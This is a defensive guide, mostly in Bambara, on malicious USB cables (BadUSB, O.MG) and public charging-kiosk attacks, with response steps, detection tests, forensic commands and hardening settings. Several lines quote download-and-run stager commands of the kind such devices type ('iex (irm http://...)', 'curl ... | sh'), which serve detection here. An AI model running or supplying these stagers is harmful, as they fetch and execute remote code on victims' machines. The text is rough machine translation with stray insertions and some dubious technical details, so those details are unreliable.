USB kabɔri juguw (HID Pikiri / BadUSB) ani Foroba Kiosk Lafasali¶

Ka i ka ɔridinatɛri, i ka telefɔni seleke naani walima i ka tablɛti don USB-C walima Lightning chargeur juru la i ma deli ka min to i kɔfɛ lotɛli tabali la, awiyɔnbonda da la, rideshare kɔfɛsigilan na, walima lajɛba swag bɔrɔ la, walima ka Windows Run dialogue ye (Win + R), PowerShell finɛtiri, walima macOS Terminal flash i ka ɛkran kan milisekɔndi 500 kɔnɔ ani ka sɛbɛnni daminɛ ni daɲɛ 1000 ye miniti kelen kɔnɔ USB kabɔri, flash drive, walima jirali digilan sirilen kɔfɛ dɔrɔn, o ye BadUSB / HID (Human Interface Device) Keystroke Injection Attack walima Public Charging Kiosk Exploitation ("Juice) bolonɔbila ye Jacking") ye. A tɛ i n’a fɔ laadala porogaramu jugu minnu maralen bɛ i n’a fɔ dosiye thumb drive kan, antivirus skanɛrɛw bɛ se ka minnu sɛgɛsɛgɛ sani u ka da wuli, marifakisɛ minnu bɛ don u kɔnɔ i n’a fɔ O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, ani USBHarpoon, olu bɛ mikrokontrɔla fitinin dɔ don ani Wi-Fi arajo la k’u don plastiki kafolan kɔnɔ min dilannen don Apple, Anker walima Samsung chargeur cord (a janya tɛ milimɛtɛrɛ 12 walima santimɛtɛrɛ 0,47 dɔrɔn ye) min ɲɛda bɛ i ko mɔgɔ gansan.

Ni o donna i ka ɔridinatɛri kɔnɔ walima telefɔni selilɛri min ma datugu, o mikro-kontrɔla dogolen tɛ a yɛrɛ laseli i ka baarakɛminɛnw na i n’a fɔ fɛnmarayɔrɔ walima chargeur. O nɔ na, a bɛ jatebɔ Kɛ USB kan D+ ani D- data pinɛw i n’a fɔ sariya USB HID Keyboard (Class 0x03) walima USB Etɛrinɛti Réseau Adaptɛri (RNDIS / ECM). Ikomi Windows, macOS, Linux, iOS ani Android bɛ da klaviyeti kura dontaw la u yɛrɛ la, k’a sɔrɔ u ma sofɛrɛw walima antivirus sɛgɛsɛgɛliw wajibiya, o kabali bɛ o yɔrɔnin bɛɛ ka klaviyeti digicogo dɔ tasuma don min bolodara ka kɔn (Win + R -> powershell -w hidden -ep bypass ... Windows kan, walima Cmd + Space -> Terminal macOS kan) walima ka Wi-Fi nafamafɛn dɔ daminɛ min bɛ se ka kunnafoni di yɔrɔjan fɛ, waati min na binkannikɛla min bɛ mɛtɛrɛ 90 (sen 300) kɔnɔ, o ye "Execute" digi u ka telefɔni na. Ni aw b’a fɛ ka wireless hotspot ni travel network bagabagali caman sɔrɔ chargement ports kɛrɛfɛ, aw ye an ka foroba Wi-Fi, Evil Twin, ani ji jacking lafasali gafe. Ni aw ye bagabagali kɛ farikolo la walima ka wari ɲini aw fɛ, aw bɛ aw ka sigida kɔrɔtɔko nimɔrɔ wele (911 Ameriki ni Kanada jamanaw na, . 112 Erɔpu tɔnba kɔnɔ, . 999 Angletɛri jamana na) walima aw ye an ka kɔrɔtɔko nimɔrɔw ɲɛbilasɛbɛn. Aw bɛ teliya ka fɛnɲɛnamafagalanw danfara ni kiritigɛlaw ka seginni walew labato jukɔrɔ.

Aw bɛ o kɛ sisan¶

1. Yankɛ USB kabɔri, flash drive, dock, walima chargeur juru min bɛ siga la ka bɔ i ka minɛn kɔnɔ O yɔrɔnin bɛɛ: Sekɔndi o segin BadUSB walima O.MG Kabɔri bɛ to ka don ɔridinatɛri walima telefɔni kɔnɔ min ma datugu, o b’a to a kɔnɔna mikrokontrɔla (walima binkannikɛla min bɛ a kɛrɛfɛ min sirilen bɛ kabali kɔnɔna Wi-Fi hotspot dogolen na) ka se ka tulonkɛfɛnw don a kɔnɔ, ka kunnafoniw bɔ USB dogolen dɔ kan serial/network channel, walima ka hardware keylogger dɔ baara min bɛ i ka password bɛɛ sɛbɛn i ka kɛnɛma klaviyeti kan.
2. I ka ɔridinatɛri walima telefɔni min tɔɔrɔlen don, o tigɛ ka bɔ Wi-Fi, Ethernet ani Bluetooth la sisan yɛrɛ, wa I KAN’a tɔgɔlasɛbɛn si sɛbɛn o masin kan: BadUSB / Rubber Ducky payload min bɛ sekɔndi 2 bɔ, o tɛ porogaramuba sɛbɛn klaviyeti slow interface kan o nɔ na, a bɛ "stager" cikan 1 sɛbɛn PowerShell kɔnɔ (iex (irm http://...)) walima macOS Terminal (curl -s http://... | sh) min bɛ infostealer dafalen walima yɔrɔjan sɔrɔli trojan telesarse i ka Wi-Fi ɲɔgɔndan kan. Wi-Fi ni Ethernet tigɛlen bɛ telesarse faga o yɔrɔnin bɛɛ walima ka exfiltration jɔ.
3. N'i ye "Trust This Computer" digi i ka iPhone/iPad kan walima n'i ye "File Transfer (MTP) / Allow USB Debugging (ADB)" sugandi i ka Android telefɔni na foroba chargement kiosk la, i ka dannaya bɔ yen joona:
4. Iphone / iPad kan: Aw bɛ juru bɔ, ka taa Settings > Developer (ni a bɛ ye Settings jukɔrɔ) -> Clear Trusted Computers digi. Ni Developer tun ma ye, taa Settings > General > Transfer or Reset iPhone > Reset > Reset Location & Privacy, o min bɛ cryptographically wipes bɛɛ faralen ɲɔgɔn kan lockdownd host pairing records walasa ɔridinatɛri walima kiosk si kana se ka don i ka iPhone backup la tugun ni i ka passcode tɛ.
5. Android kan: Aw bɛ juru bɔ, ka taa Settings > System > Developer options (ni a dabɔra) -> Revoke USB debugging authorizations digi, ka Developer options da OFF pewu.
6. BadUSB keystroke payload ye min sɛbɛn sisan i ka ɔridinatɛri kan, i k’o sɛgɛsɛgɛ ni i ka Run box (RunMRU), PowerShell ka cikan sɛbɛn (PSReadLine), ani macOS Terminal history: Sani i ka daminɛ kokura, i ka terminal finɛtiri saniyalen dɔ da wuli i ka ɔridinatɛri kan min tɛ ɛntɛrinɛti kan, ka cikan tigitigi kalan, USB klaviyeti nkalonma ye min pikiri kɛ i ka sistɛmu kɔnɔ ni an ye forensic audit cikanw bɛ Fasokan2009-09_enterneti_kalanni.dis.html,#5417333 kɔnɔ.
7. Aw ka USB kabɔri walima bolokɔnincinin sikɛlen mara nɛgɛdaga kɔnɔ walima Faraday bɔrɔ kɔnɔ (aw kana a don ɔridinatɛri si kɔnɔ kokura walasa ka "a lajɛ min bɛ a kan"): Sabula O.MG Kabɔri kɔnɔ, ESP8266/ESP32 Wi-Fi transceiver baarakɛlen bɛ yen min bɛ fanga di tuma o tuma n’a ye 5 volts sɔrɔ (hali ni a donna USB kogo biriki walima batiri bobo la), k’a don kogo la chargeur bɛ a ka Wi-Fi donyɔrɔ dogolen da kɛnɛ kan ani k’a to binkannikɛla min bɛ i ka lotɛli so walima i ka biro kɔkan, o ka se ka don a la walima k’a yɛrɛ tiɲɛni daminɛ (Self-Destruct / Wipe) yɔrɔ la. Aw bɛ a to a ka fiyɛli la pewu.
8. Ni BadUSB payload ye script dɔ kɛ i ka ɔridinatɛri kɔnɔ k’a sɔrɔ i donna, i ka seereyaw bɛɛ wuli ka sessions actives bɔ minɛn wɛrɛ la, min saniyalen don: Ikomi bi BadUSB payload kɛmɛsarada la 90 bɛ infostealer dɔ daminɛ min bɛ browser cookies ni password maralenw minɛ segin 3 kɔnɔ, i ka an ka session cookie hijacking ani infostealer token bɔli gafe ka bɔ smartfon saniyalen dɔ la.

--- .

Desizɔn jiri : ka jaabi di USB kabɔri jugu walima foroba kiosiki jirali ma min bɛ siga la¶

Baara kɛ ni nin fɛɛrɛbɔlan ye walasa k’a dɔn ni i ka minɛn tiɲɛna i kɛlen kɔ ka don USB kabɔri, dock, thumb drive, walima foroba chargeur yɔrɔ la, i dalen tɛ min na:

flowchart TD
    Event["A donna USB kabɔri dɔnbali kɔnɔ, Flash Drive sɔrɔlen kɔnɔ, Hotel/Airport Kiosk kɔnɔ, walima Saw Terminal/Run Window Flash on Screen kɔnɔ"] --> Unplug["1: Aw bɛ USB kabɔri / minɛn bɔ o yɔrɔnin bɛɛ & ka Wi-Fi / Ethernet tigɛ"]

    Unplug --> WhatDevice{"Minɛn jumɛn tun donna USB ka juru walima Port dɔnbali kɔnɔ?"}

    WhatDevice -->|"Windows, macOS, walima Linux Ordinateur portable / Bureau"| ScreenLocked{"Yala ɔridinatɛri ka ɛkran tun LOGƐRƐ wa walima a tun ma datugu ni a donna a kɔnɔ wa?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS) Bamako, Mali."| iOSState{"Yala iPhone tun dabɔra, ani Yala i ye ‘Danna’ digi walima i ye sɛbɛnni ye wa?"}
    WhatDevice -->|"Android Smartphone / Tablɛti ye"| AndroidState{"Yala Telefɔni tun dabɔra, walima ‘USB Debugging (ADB)’ tun bɛ baara la wa?"}

    ScreenLocked -->|"Unlocked (A donna Bureau kɔnɔ) ."| AssumeHID["FARAKƐBA: BadUSB / O.MG Kabɔri bɛ se ka Keystrokes (Win+R / Cmd+Space) kɛ <1,5 Seconds kɔnɔ k’a sɔrɔ a ma ɲininkali si kɛ -> Taga Phase 2 Forensic Audit la"]
    ScreenLocked -->|"Locked (Ecran de mots de passe) ."| NetworkDMA["Aw ye a lajɛ ni Thunderbolt/PCIe DMA walima USB Ethernet (RNDIS/DHCP Poisoning) kɛra; Keystrokes tɛ se ka Bypass Lock Screen ni i ka Password tɛ"]

    iOSState -->|"A ye waati bɛɛ datugu (iOS 15+ / USB Restricted Mode)"| iOSSafe["SAFE: Apple ‘USB Restricted Mode’ bɛ Data Pinw bali farikolo la iPhonew kan minnu datugulen don -> Power Passed dɔrɔn"]
    iOSState -->|"Unlocked & Tapped 'Trust' (Wali Safari/Shortcuts Dabɔlen ye)"| iOSRevoke["O yɔrɔnin bɛɛ: Settings > General > Transfer or Reset iPhone > Reset > Reset Location & Privacy + Audit Shortcuts App"]

    AndroidState -->|"A ye waati bɛɛ datugu (Charge-Only Mode) ."| AndroidSafe["SAFE: Modern Android Defaults ka kɛ ‘Dɔnniyaw cili tɛ (sara dɔrɔn)’ -> Donanw tɛ tɛmɛ"]
    AndroidState -->|"Unlocked & Saw Screen Typing walima ADB/MTP min dagalen don"| AndroidRevoke["Developpeur options bali -> USB Debugging (USB debugging) bali -> Application Installed & Chrome Downloads lajɛ"]

--- .

BadUSB, O.MG Cables, ani Public Charging Attacks bɛ baara kɛ cogo min na tiɲɛ na, o faamuyali¶

Walasa k’i yɛrɛ lafasa ka ɲɛ, ani k’i yɛrɛ tanga fɛnɲɛnɛmafagalanw doncogo lakika ma ani ka siran chargement ports jugumanw kan, i ka kan ka fɛɛrɛ saba danfaralenw faamu, binkannikɛlaw bɛ baara kɛ ni minnu ye USB kan:

1. BadUSB / HID Kilisi pikiri (O.MG Cable, . Rubber Ducky, . Flipper Zero) .¶

• USB ka Design Fundamental Flaw: Universel Serial Bus (USB) ɲɛfɔli bɛ sira Di farikolo-ɲɛnajɛ-yɔrɔ kelen ma k' a yɛrɛ Jira i n' a fɔ minɛn suguya o suguya jatebɔ waati (bInterfaceClass), walima hali i n’a fɔ Composite Device (a b’a yɛrɛ jira waati kelen na iko USB Flash Drive ani USB Keyboard).
• O.MG Kabɔri walima Charger jugu kɔnɔ: Ni i ɲɛ na, O.MG Kabɔri tɛ se ka faranfasi kɛmɛsarada la ni Apple USB-C-to-USB-C, USB-C-to-Lightning, walima USB-A kabɔri lakika ye min sirilen don walima min ye fin ye. A bɛ i ka telefɔni charge ani ka data transfert normalement. Nka, min dogolen bɛ ɲɔgɔndan kuncɛ baarakɛlen kɔnɔ, o ye mikro-kontrɔla ye min bɛ se ka kɛ ni mikroskɔpi ye, min bɛ ni 802.11 Wi-Fi ni flash marayɔrɔ ye:
• Active Keystroke Injection: Ni i ye kabali don Windows PC, Mac, walima smartphone kɔnɔ min ma datugu, o kabali bɛ jate iko HID Keyboard generic ani a bɛ se ka sɛbɛnni kɛ fo ka se taamasiyɛn 850 ma segin kɔnɔ (DuckyScript). Seginnkanni 1,5 kɔnɔ, a bɛ digi Win + R (Windows) walima Cmd + Space (Mac), a bɛ kɔkanna-yɔrɔ dogolen dɔ daminɛ, ka payload (nafalan) dɔ telesarse, ka finɛtiri datugu.
• Inline Hardware Keylogger (For External USB Keyboards): Ni binkannikɛla dɔ ye USB kabɔri min bɛ i ka kɛnɛma masin klaviyeti ni i ka tabali PC cɛsiri ni O.MG Cable ye, o fɛn donta bɛ sigi makun na nɛgɛ cɛmancɛ la ka ** fo ka se 650.000 keystrokes** (i ka Bitwarden/1Password Master Password, Windows login PIN, ani BIOS tɔgɔlasɛbɛn) don a kɔnɔna flash memory kɔnɔ, binkannikɛla bɛ min telesarse ni telefɔni ye ka bɔ boon kɔkan Wi-Fi fɛ.
• Geofenced & Time-Delayed Payloads: A tɛ i n’a fɔ USB Rubber Ducky nɔgɔman min bɛ $50 na, n’a b’a ka payload sɛbɛn a donna yɔrɔnin kelen na, O.MG Cable bɛ se ka to sunɔgɔ la pewu i n’a fɔ chargement cord normal tile walima dɔgɔkun caman fo k’i ka jɛkulu ka Wi-Fi réseau (BSSID geofencing) walima fo binkannikɛla k’a daminɛ yɔrɔjan fɛ a ka web UI kɔnɔ min bɛ a kɔnɔ.

2. USB Réseau Adaptateur Hijacking (RNDIS / . CDC-ECM / . PoisonTap / . Bash Bunny) .¶

• Hali ni i ka ɔridinatɛri ekran ye locked (Win + L walima Ctrl + Cmd + Q) o la USB klaviyeti nkalonma tɛ se ka terminal window da wuli, ka USB minɛn jugu dɔ don USB data port la min ma datugu, o b’a to minɛn bɛ se ka jate kɛ i n’a fɔ High-Priority Gigabit USB Ethernet Adapter (USB RNDIS walima CDC-ECM).
• Ikomi Windows ni macOS bɛ Etɛrinɛti ɲɔgɔndan kura min sirilen don ɲɔgɔn na, o bila jɔyɔrɔ fɔlɔ la u yɛrɛma Wi-Fi kan, USB minɛn bɛ kɛ i ka ɔridinatɛri dakun fɔlɔ ye DHCP fɛ (0.0.0.0/1), a bɛ sigida rezow ka sirako minɛ min ma siri, a bɛ jaabi di WPAD / . LLMNR / . mDNS ɲininkaliw, walima sifon minnu tɛ HttpOnly kɔkanna navigatɛri cookies ye.

3. Foroba Kiosk "Jus Jacking" (MTP / . PTP / . iOS lockdownd / . Android ADB) .¶

• Ni i ye telefɔni seleke naani don foroba USB-port la (aeroport, tɛrɛn gari, lotɛli kunkolo, walima bolifɛn bolifɛn kunnafonidiyɔrɔ la) ni kabali ye min bɛ se ka kunnafoniw sɔrɔ tuma bɛɛ:
• Min bɛ bali a yɛrɛma: Kabini iOS 11.4.1 / iOS 15+ (USB Restricted Mode) ani Android 9+ (Charge-Only Default), ka telefɔni don USB data port kɔnɔ, o tɛ **i ka fotow walima i ka dosiyew bɔ kɛnɛ kan i yɛrɛma. Donanw cili bɛ bali fo i ka telefɔni da wuli ANI ka "Trust This Computer" digi k'a jɛya (ka fara i ka iPhone Passcode kan) walima ka Android ka USB kunnafoni wuli i bolo fɛ ka bɔ No data transfer la ka taa File Transfer (MTP) walima Allow USB Debugging la.
• Fara lakika bɛ foroba kiosikiw la yɔrɔ minnu na:
  1. ChoiceJacking & HID Injection on Unlocked Phones: I n’a fɔ Graz Iniwɛrisite ka Teknoloji lakanani ɲininikɛlaw y’a jira cogo min na (ChoiceJacking), n’i ka telefɔni da wulilen don i bolo k’a sɔrɔ i b’a don foroba USB-port jugu dɔ la, kiosk bɛ se ka fɔlɔ ka jate kɛ i n’a fɔ USB Keyboard (HID) milisekɔndi 200 kɔnɔ ka tigitigi ci Tab / . Enter walima dɛmɛnanw digili minnu ka kan ka kɛ walasa ka "Allow / File Transfer" ɲinini digi i ye i ka ɛkran kan sanni i ka wuli ka don jatigila data-transfer cogo la.
  2. Kuran nɔgɔlen / Over-Voltage Hardware Tiɲɛni (USB Killer): Foroba USB-port min tiɲɛna, o bɛ se ka 200V DC fili ka bɔ kondansɛri banki la ka taa i ka telefɔni USB-C controleur puce kɔnɔ, ka logic board tobi kudayi.

--- .

Sanga-matrix: USB Lafasali-minɛnw & OS Lakanali¶

--- .

Fasokan2009-09_enterneti_kalanni.dis.html,#5417333 1nan : USB kabɔri jugu dɔ dɔncogo ɲɛnama ni kuran fɛ (O.MG Cable Audit) .¶

N’i ye USB-kabɔri sikɛlen dɔ sɔrɔ i ka biro kɔnɔ, min sirilen bɛ i ka ɔridinatɛri tabali klaviyeti kɔfɛ, walima i ka taama-bɔrɔ kɔnɔ, i ka nin fɛɛrɛ naani ninnu kɛ walasa k’a dɔn ni o ye fɛnɲɛnɛma-minɛn ye:

1. Kɔrɔbɔli #1: Aw bɛ tɛmɛsira suman walima ka baara kɛ ni Hardware Cable Tester ye (O.MG Malicious Cable Detector / . Bleeping / Hak5 Tester):
2. USB-A-to-USB-C pasif standard, USB-A-to-Lightning, walima USB-C chargement cables non-E-Marked, microprocesseur active tɛ u la min bɛ kuran sama ni a dakun kelen dɔrɔn de donna kuran na.
3. O.MG Malicious Cable Detector (walima USB current/protocol analyseur inline i n’a fɔ a Power-Z KM003C) sigilen bɛ kuran sɔrɔyɔrɔ ni kabali cɛ ni foyi ma don kabali laban yɔrɔ jan na :
   • Ni kabali dɔ ye 30 fo 120 miliampu (mA) kuran sama 5V la ni foyi ma don a dakun tɔ kelen na, walima k’a ɲini ka USB kumaɲɔgɔnya D+/D- jatebɔ a yɛrɛ ma, ɔridinatɛri / Wi-Fi arajo baarakɛlen dɔ bɛ yen min dogolen bɛ kabali kunkolo kɔnɔ.
4. Kɔrɔbɔli #2: Aw ye Wi-Fi dondaw dogolenw lajɛ (O.MG SSID kɔrɔlenw walima ESP32 MAC Prefixes):
5. O.MG Kabow ni BadUSB fɛnw doncogo minnu tɛ fili, olu bɛ baara kɛ ni Espressif (ESP8266 / . ESP32-S2 / . ESP32-C3) Wi-Fi puce min bɛ connecteur shell kɔnɔ.
6. Ni i bɛ baara kɛ ni USB batiri banki danfaralen ye faraday/yɔrɔ danfaralen kɔnɔ (i kana i ka ɔridinatɛri kɛ abada), ka O.MG kabɔri min ma labɛn walima min bɛ kɛ kaban, o fanga bɛ to ka 2,4 GHz Wi-Fi rezo (SSID kɔrɔlen) jira O.MG at 192.168.4.1, walima SSID dogolen min bɛ ni MAC Address / BSSID OUI ye min ye Espressif Inc. ta ye i n'a fɔ 24:0A:C4, . 30:AE:A4, . 84:CC:A8, . A0:20:A6, . DC:4F:22, fo ni a kɛra spoof ye).
7. Kɔrɔbɔli #3: Aw bɛ Connector Overmold janya ni funteni bɔli sɛgɛsɛgɛ:
8. Aw bɛ kabali sigalen in ka plastiki sɛgɛnlafiɲɛbɔlan suma ni Apple walima Anker kabali lakika dɔnta ye kɛrɛfɛ:
   • Hali n’a y’a sɔrɔ O.MG Cable bɔnsɔn kɔsa in na bɛ bɛn Apple ka bɔgɔdaga hakɛ tigitigi ma, miniti 3 5V fanga sɔrɔlen kɔfɛ, Wi-Fi mikrokontrɔla baarakɛta bɛ min kɔnɔ, o bɛ sumaya kɔlɔsilen sɔrɔ (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) i bolokɔnincininw ni ɲɔgɔn cɛ hali ni telefɔni si tɛ chargement kɛ a dakun tɔ kelen na. (Kabali pasif normal min foyi ma don a dakun jan na, o bɛ to nɛnɛ na pewu so funteni na.)

--- .

Fase 2: Forensic Triage Ni BadUSB walima O.MG kabɔri sɛbɛnna i ka ɔridinatɛri kan¶

N’i ye USB kabɔri, thumb drive, walima periferikɛli don i ka Windows PC, Mac walima Linux ɔridinatɛri kɔnɔ ani i ye Start menu ye, Run dialogue (Win + R), Spotlight (Cmd + Space), walima terminal window nɛrɛma/bulu flash da wuli ka da, aw kana segin ka daminɛ fɔlɔ. Nin cikan tigitigi ninnu kɛ ɛntɛrinɛti kɔkan walasa k’a dɔn USB klaviyeti nkalonma ye min sɛbɛn ani USB Vendor/Product ID min (VID:PID) min bɛ tali kɛ i ka kurunbonkarila la :

1. Windows 10 & Windows 11 Forensic Audit (A bɛ baara kɛ PowerShell kɔnɔ min tɛ ɛntɛrinɛti kan) .¶

PowerShell (Admin) da wuli Windows PC kan min tɛ ɛntɛrinɛti kan ani ka nin kiritigɛlaw ka cikan naani ninnu kɛ:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Farakɛcogo Get-ItemProperty ... RunMRU: 1. .
• Windows BadUSB / Rubber Ducky sɛbɛnnibolo bɛɛ bɛ se ka daminɛ ni ** digilen ye .Win + R** (GUI r DuckyScript kɔnɔ) ani cikan sɛbɛnni i n’a fɔ powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex walima cmd /c curl ....
• Hali ni sɛbɛnnikɛlan b’a ɲini ka bɔ yen RunMRU a laban na, n’i ye kabali yanked out mid-execution (walima ni script ma registre clear), URL jugu tigitigi ni cikan bɛna sigi a kɔnɔ yɛrɛ RunMRU (a, . b, . c nafaw) walima kɔnɔna na ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (A bɛ baara kɛ Offline Terminal kɔnɔ) .¶

macOS kan, BadUSB nafamafɛnw bɛ ** digi cogoya la .Cmd + Space** (GUI SPACE), suguya Terminal, sɛbɛnnikɛlan Enter, ka boli a curl walima osascript kelen-kelen-yɔrɔ:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Linux ka kiritigɛlaw ka jatebɔ (dmesg & . journalctl) .¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Ni sanfɛla sɛbɛnw dɔ y’a jira ko a powershell, . cmd, . mshta, . curl, . wget, walima osascript cikan min kɛra k’a sɔrɔ a bɛ ɛntɛrinɛti kan, k’a miiri ko infostealer walima persistent backdoor bolila: revoke all sessions using our session cookie hijacking ani infostealer gafe ani ka OS reinstall saniyalen kɛ ka tugu an kɔ malware, ransomware ani spyware banakisɛw sɔrɔcogo gafe.

--- .

Fase 3: I ka minɛnw datuguli walasa BadUSB kabɔriw kana se ka baara kɛ u yɛrɛma abada¶

Sisan, bi baarakɛminɛnw kɔnɔ, fɛnɲɛnɛma-yɔrɔ-datugu barikamaw bɛ u kɔnɔ minnu bɛ BadUSB, O.MG Cables, ani Rubber Duckies neutralize pewu** sanni u ka se ka taamasiyɛn kelen sɛbɛn, n’i y’o sigicogo ninnu daminɛ:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): "A ɲini ka fɛn kuraw ɲini" baara kɛ.¶

Apple Silicon Macs kan minnu bɛ macOS Ventura, Sonoma, walima Sequoia baara, Apple ye USB-C/Thunderbolt port yamaruya di min bɛ se ka kɛ hardware-level USB-C/Thunderbolt port yamaruya ye min bɛ USB kabɔri walima minɛn kura o minɛn kura bali ka jate kɛ i n’a fɔ klaviyeti fo n’i ye "Allow" digi k’a jɛya: 1. Da wuli Pomi Menu () > Sistɛmu labɛncogo > Gundo & Lakanali. 2. Aw bɛ jigin ka taa Lakanali yɔrɔ la ka "Allow accessoires to connect" sɔrɔ. 3. A Changer ka bɔ Automatically When Unlocked ka kɛ "Ask for New Accessories" (walima "Ask Every Time" walasa ka taama lakanani lakana kosɛbɛ). 4. Mun na o bɛ O.MG Cables nɛnɛ jɔ Mac kan: Ni i ye O.MG kabɔri nanbaratɔ dɔ don a kɔnɔ ni "Ask Every Time" walima "Ask for New Accessories" bɛ baara la, fanga bɛ woyo o yɔrɔnin bɛɛ walasa k’i ka MacBook batiri charge, nka macOS bɛ lasɔmini kumasen dɔ bɔ min bɛ kalan: "Allow accessory '[Device Name]' to connect to this Mac?" Ikomi charge passif normal kabali t’a ɲini abada ka ɲɔgɔn sɔrɔ i n’a fɔ data accessoire, n’i y’o pop-up ye n’i bɛ chargement cord nɔgɔman dɔ don o bɛ kabali jira o yɔrɔnin bɛɛ la i n’a fɔ hardware implant k’a sɔrɔ a bɛ a ka keystroke kɛmɛsarada la 100 bali fo k’a bɔ.

2. Apple iPhone & iPad: A sɛgɛsɛgɛ ko "USB Restricted Mode" bɛ Dabɔ¶

1. Settings > Face ID & Passcode (walima Touch ID & Passcode) da wuli ka i ka tɛmɛsira sɛbɛn.
2. Aw bɛ jigin ka taa "Allow Access When Locked" yɔrɔ la.
3. Aw ye aw jija ka toggle min bɛ Accessories (walima USB Accessories) kɛrɛfɛ, o OFF (gray).
4. Ni Accessories bɛ OFF la, tuma o tuma n’i ka iPhone datugulen don, iOS bɛ USB data pinw bali farikolo la, o bɛ sira di chargement fanga dɔrɔn ma ka tɛmɛ. I ka kɛrɛfɛ butɔni digi tuma bɛɛ walasa k’i ka iPhone ekran datugu SANI i k’a don chargeur walima bolifɛn bolicogo la i ma deli min na.

3. Android 15 / 16 & GrapheneOS: "Lakanali kɔrɔlen" / USB Port Lock daminɛ¶

• Android standard kan (Pixel, Samsung Galaxy):
• Aw kana bɔ abada Developpeur Options > USB Debugging (ADB) bɛ se ka baara kɛ ni taama ye.
• Settings > Security & privacy > More security settings kɔnɔ (walima Advanced Protection Android 15/16+ kan), USB lakanani / USB minɛn kura bali k’a sɔrɔ u datugulen don, baara kɛ.
• I ka i ka ekran datugu tuma bɛɛ sani i ka don foroba chargement port o port la walasa ChoiceJacking HID binkanniw kana se ka baara kɛ ni ekran ye min ma datugu.

4. Linux & Windows baarakɛda: USBGuard ani Minɛnw sigili dantigɛliw¶

• Linux kan (USBGuard): A sigi sen kan usbguard jinɛ (sudo apt install usbguard), min bɛ USB-minɛn kura bɛɛ lajɛlen bali ka asserting bInterfaceClass 03 (HID Keyboard) ni klaviyeti fɔlɔ dɔ nɔrɔlen bɛ a la kaban walima fo ka se a yamaruyalen ma k’a jɛya via usbguard allow-device.
• Windows 11 Pro / Enterprise kan: Kernel DMA lakanani (BitLocker + VBS) Windows Security > Device Security > Core Isolation kɔnɔ walasa ka Thunderbolt/PCIe DMA binkanniw jɔ, ani ka i ka baarakɛyɔrɔ datugu tuma bɛɛ (Win + L) sanni i ka USB-kabɔri dɔnbali si don a kɔnɔ walasa kilisi pikirikɛlaw kana se ka don tabali-yɔrɔ la min donna.

--- .

Ɲininkali minnu bɛ kɛ tuma caman na¶

Yala O.MG Cable walima BadUSB juru jugu dɔ bɛ se ka n ka iPhone walima Android telefɔni tiɲɛ ni n y’a don dɔrɔn k’a sɔrɔ n ka telefɔni ekran datugulen don wa?¶

Ni i ka iPhone ye Settings > Face ID & Passcode > A to don ka don ni a datugulen don > Accessoires a wulila OFF (OFF) ye (a bɛ kɛ iOS 15 kan fo ka se iOS 18 ma) ani i ka ekran bɛ datugu ni i ye kabali don, data walima keystroke si tɛ se ka se i ka iPhone ma sabu iOS bɛ USB data layiniw bali hardware controller level la fo ka se telefɔni da wuli ni Face ID walima i ka passcode ye. Nka, i y’i ka iPhone da wuli waati min na k’a sɔrɔ o O.MG Cable bɛ don a kɔnɔ hali bi, o kabɔri bɛ se ka jate kɛ i n’a fɔ kɛnɛma USB klaviyeti ani ka iOS klaviyeti surunw ci teliya la (i n’a fɔ Cmd + Yɔrɔ min bɛ yen ka Spotlight da wuli, ka Safari da wuli ka taa phishing/configuration profile URL dɔ la, walima ka Apple Shortcuts daminɛ). Aw kana USB kabɔri sɔrɔlen walima min dalen tɛ a la abada, n’i bɛ i ka telefɔni da wuli.

Ne bɛ se ka danfara don cogo di USB kabɔri "Charge-Only" lakika ni USB data kabɔri nɔgɔman cɛ?¶

